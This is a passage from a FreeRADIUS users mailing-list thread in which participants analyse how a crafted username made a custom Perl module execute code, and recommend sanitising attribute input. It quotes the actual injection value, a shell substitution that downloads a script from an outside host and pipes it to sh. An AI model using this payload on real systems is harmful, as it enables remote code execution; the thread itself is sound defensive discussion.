Alan DeKok wrote:
On Jul 3, 2018, at 7:44 AM, David Herselman via Freeradius-Users <freeradius-users@lists.freeradius.org> wrote:
Transmitting the following username results in a custom perl module executing the code: $(/usr/bin/curl v.kernelupgr.com/d/all|sh)
That's largely not the fault of FreeRADIUS. :( It's hard to use Perl securely.
Nothing in perl expands $(...) to shell commands. That's a shell construct. And, even in the 2.2.x git branch, the radlog XS wrapper just does a direct C call to radlog(level, "rlm_perl: %s", msg)... so it could only hit the shell through something in the 2.2.x radlog implementation (which I find hard to believe involves the shell), or through an error path caused by some exception when trying to run ::radlog. ...or maybe that value is being used by another statement in this custom script and it is not the radlog statement to blame....
Any suggestions regarding possibly cleaning other attributes which may result in code execution on the following line? &radiusd::radlog(1, "RAD_REQUEST: $_ = $RAD_REQUEST{$_}");
Yeah, as Adam said.. expanding strings with arbitrary input like that is just bad.
Yep, always sanitize input to ensure it is within expected parameters. So in answer to that question, I have not seen anyone keeping a survey of values typically found in every radius attribute... most people remove all attributes they are not using and only work with a limited subset.